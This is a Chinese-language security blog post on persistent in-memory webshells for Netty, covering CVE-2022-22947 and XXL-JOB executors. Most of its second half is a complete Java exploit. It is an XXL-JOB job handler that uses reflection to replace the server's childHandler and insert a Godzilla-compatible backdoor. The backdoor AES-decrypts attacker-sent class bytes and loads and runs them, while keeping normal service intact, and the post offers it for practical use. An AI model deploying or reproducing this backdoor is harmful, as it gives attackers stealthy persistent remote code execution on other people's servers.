netty内存马探究

0x01 前言

基于netty动态创建pipeline的特性，其内存马的构造思路与tomcat有一定的区别，目前网上有关netty内存马的文章都围绕CVE-2022-22947和XXL-JOB两种场景展开，并未对其做更为详细的分析。本文就以上述两种场景为始，尝试从源码角度探究netty内存马的部分细节，以供大家参考。

0x02 Netty介绍

I/O事件：分为出站和入站两种事件，不同的事件会触发不同种类的handler。

Handler (ChannelHandler)：handler用于处理I/O事件，继承如下几种接口，并重写channelRead方法完成请求的处理，功能类似于filter。

ChannelInboundHandlerAdapter    入站I/O事件触发该handler
ChannelOutboundHandlerAdapter   出站I/O事件触发该handler
ChannelDuplexHandler            入站和出站事件均会触发该handler

Channel (SocketChannel)：可以理解为对 Socket 的封装, 提供了 Socket 状态、读写等操作，每当 Netty 建立了一个连接后，都会创建一个对应的 Channel 实例，同时还会初始化和 Channel 所对应的 pipeline。

Pipeline (ChannelPipeline)：由多个handler所构成的双向链表，并提供如addFirst、addLast等方法添加handler。需要注意的是，每次有新请求入站时，都会创建一个与之对应的channel，同时channel会在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)里创建一个与之对应的pipeline。

构造netty内存马的一个思路，就是在pipeline中插入我们自定义的handler，同时，由于pipeline动态创建的特性，如何保证handler的持久化才是关键，本文以此为出发点，尝试探究netty内存马在不同场景下的利用原理。

0x03 CVE-2022-22947

先来简单回顾一下CVE-2022-22947是如何注入内存马的，文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit，在reactor.netty中，channel的初始化位于reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。

关键点如下：

config.defaultOnChannelInit()返回一个默认的ChannelPipelineConfigurer，随后调用then方法，进入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer，从函数名也能够看出，这个方法用于合并对象，将当前默认的ChannelPipelineConfigurer与config.doOnChannelInit合二为一，返回一个CompositeChannelPipelineConfigurer。

随后调用CompositeChannelPipelineConfigurer#onChannelInit，在此处循环调用configurer#onChannelInit，其中就包括我们反射传入的doOnChannelInit#onChannelInit。

c0ny1师傅给出的案例，就在onChannelInit内完成handler的添加，由于反射修改了doOnChannelInit，后续有新的请求入站，都会重复上述流程，进而完成handler的持久化。

public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { 
    ChannelPipeline pipeline = channel.pipeline();      
    pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell()); 
}

另外，从reactor.netty.transport.TransportConfig#doOnChannelInit的路径也能看出，该场景依赖 reactor.netty，并不适用纯io.netty的环境，如xxl-job等场景。

0x04 XXL-JOB

对于纯粹的io.netty环境，在XXL-JOB内存马中给出的答案是定制化内存马，核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的实现，由于每次请求都会触发ServerBootstrap初始化流程，随即进入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));，而EmbedServer中的executorBiz在仅在启动时触发实例化，在整个应用程序的生命周期中都不变，使用动态类加载替换其实现，就能完成内存马的持久化。

在文章开头，作者也曾尝试反射调用pipeline.addBefore，依然是上面所提到的问题，不过很容易发现，通过ServerBootstrap所添加的EmbedHttpServerHandler能够常驻内存，如果我们想要利用这一特性，还需进一步分析io.netty.bootstrap.ServerBootstrap的初始化过程。

0x05 ServerBootstrap

限于篇幅，这里仅截取关键代码，直接定位到pipeline创建完成之后的片段，首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一个ServerBootstrapAcceptor，需要注意一下这里的childHandler，这也是一种持久化的思路，后续会继续提到。

此时pipeline在内存中的情况如下，可以看到已经添加了ServerBootstrapAcceptor。

netty介绍部分提及过handler的channelRead方法用于处理请求，因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的实现，这里ServerBootstrapAcceptor把之前传入的childHandler添加到pipeline中。

childHandler由开发者所定义，通常会使用如下范式定义ServerBootStrap，也就是添加客户端连接时所需要的handler。

ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(bossGroup, workerGroup)
        .channel(NioServerSocketChannel.class)
        .childHandler(new ChannelInitializer<SocketChannel>() {
            @Override
            public void initChannel(SocketChannel channel) throws Exception {
                channel.pipeline()
                        .addLast(...)
                        .addLast(...);
            }
        })

由开发者所定义的ChannelInitializer最终会走到ChannelInitializer#initChannel进行初始化，调用栈如下：

总结一下该流程，每次请求都将触发一次ServerBootstrap初始化，随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler，若能根据这一特性找到ServerBootstrapAcceptor，反射修改childHandler，也完成handler持久化这一目标。

0x06 内存马实现

在探究netty的过程中，发现这样一篇文章: xxl-job利用研究，作者给出的EXP已经很接近完整版了，在文章的最后抛出两个问题，一是"注册的handler必须加上@ChannelHandler.Sharable标签，否则会执行器会报错崩溃"，二是"坏消息是这个内存马的实现是替换了handler，所以原本执行逻辑会消失，建议跑路前重启一下执行器"。

这两个问题很容易解决：

1、对于需要加入@ChannelHandler.Sharable这点而言，实测是不需要的，由于我们自定义的handler是通过new的方式创建的，理论上来讲就是unSharable的。

2、反射修改ChannelInitializer导致执行器失效的问题，只需要给bootstrap添加一个EmbedHttpServerHandler就能保留其原有功能。

setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
    @Override
    public void initChannel(SocketChannel channel) throws Exception {
        channel.pipeline()
                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle
                .addLast(new HttpServerCodec())
                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL
                .addLast(new NettyThreadHandler())
                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
                    0,
                    200,
                    60L,
                    TimeUnit.SECONDS,
                    new LinkedBlockingQueue<Runnable>(2000),
                    new ThreadFactory() {
                        @Override
                        public Thread newThread(Runnable r) {
                            return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
                        }
                    },
                    new RejectedExecutionHandler() {
                        @Override
                        public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
                        }
                    })));
    }
});

实战中的利用还需兼容webshell管理工具，对于CVE-2022-22947而言，已有哥斯拉的马作为参考，可直接在NettyMemshell基础上稍作修改，需要注意的是，马子里的channelRead方法不能直接使用，问题出在条件判断处，msg很有可能即实现了HttpRequest，也实现了HttpContent，因此走不到else中的逻辑，修改方式也很简单，去掉else即可。

目前实测下来，姑且认为不影响正常的功能，pipeline在内存中的情况如下：

package com.xxl.job.service.handler;

import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.AbstractMap;
import java.util.HashSet;
import java.util.concurrent.*;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {
    public static class NettyThreadHandler extends ChannelDuplexHandler{
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
        String result = "";
        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
        private  static Class payload;

        private static Class defClass(byte[] classbytes)throws Exception{
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
        }

        public byte[] x(byte[] s, boolean m) {
            try {
                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                return c.doFinal(s);
            } catch(Exception e) {
                return null;
            }
        }
        public static String md5(String s) {
            String ret = null;
            try {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            } catch(Exception e) {}
            return ret;
        }

        @Override
        // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑
        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
            if(((HttpRequest)msg).uri().contains("netty_memshell")) {
                if (msg instanceof HttpRequest){
                    HttpRequest httpRequest = (HttpRequest) msg;
                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
                    requestThreadLocal.set(simpleEntry);
                }
                if(msg instanceof HttpContent){
                    HttpContent httpContent = (HttpContent)msg;
                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
                    if (simpleEntry == null){
                        return;
                    }
                    HttpRequest httpRequest = simpleEntry.getKey();
                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();

                    ByteBuf byteBuf = httpContent.content();
                    int size = byteBuf.capacity();
                    byte[] requestContent = new byte[size];
                    byteBuf.getBytes(0,requestContent,0,requestContent.length);

                    contentBuf.write(requestContent);

                    if (httpContent instanceof LastHttpContent){
                        try {
                            byte[] data =  x(contentBuf.toByteArray(), false);

                            if (payload == null) {
                                payload = defClass(data);
                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
                            } else {
                                Object f = payload.newInstance();
                                //初始化内存流
                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                                //将内存流传递给哥斯拉的payload
                                f.equals(arrOut);
                                //将解密后的数据传递给哥斯拉Payload
                                f.equals(data);
                                //通知哥斯拉Payload执行shell逻辑
                                f.toString();
                                //调用arrOut.toByteArray()获取哥斯拉Payload的输出
                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
                            }
                        } catch(Exception e) {
                            ctx.fireChannelRead(httpRequest);
                        }
                    }else {
                        ctx.fireChannelRead(msg);
                    }
                }
            } else {
                ctx.fireChannelRead(msg);
            }
        }

        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
            response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
        }
    }

    public ReturnT<String> execute(String param) throws Exception{
        try{
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            Field threads = group.getClass().getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] allThreads = (Thread[]) threads.get(group);
            for (Thread thread : allThreads) {
                if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
                    try {
                        Object target;

                        try {
                            target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
                        } catch (Exception e) {
                            continue;
                        }

                        // NioEventLoop
                        if (target.getClass().getName().endsWith("NioEventLoop")) {
                            XxlJobLogger.log("NioEventLoop find");
                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
                            if (!set.isEmpty()) {
                                Object keys = set.toArray()[0];
                                Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
//                                ThreadPoolExecutor bizThreadPool2 = (ThreadPoolExecutor) getFieldValue(embedHttpServerHandler, "bizThreadPool");
                                // 设置初始化
                                setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
                                    @Override
                                    public void initChannel(SocketChannel channel) throws Exception {
                                        channel.pipeline()
                                                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle
                                                .addLast(new HttpServerCodec())
                                                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL
                                                .addLast(new NettyThreadHandler())
                                                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
                                                    0,
                                                    200,
                                                    60L,
                                                    TimeUnit.SECONDS,
                                                    new LinkedBlockingQueue<Runnable>(2000),
                                                    new ThreadFactory() {
                                                        @Override
                                                        public Thread newThread(Runnable r) {
                                                            return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
                                                        }
                                                    },
                                                    new RejectedExecutionHandler() {
                                                        @Override
                                                        public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
                                                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
                                                        }
                                                    })));
                                    }
                                });
                                XxlJobLogger.log("success!");
                                break;
                            }
                        }
                    } catch (Exception e){
                        XxlJobLogger.log(e.toString());
                    }
                }
            }
        }catch (Exception e){
            XxlJobLogger.log(e.toString());
        }
        return ReturnT.SUCCESS;
    }

    public Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null){
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }

    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

}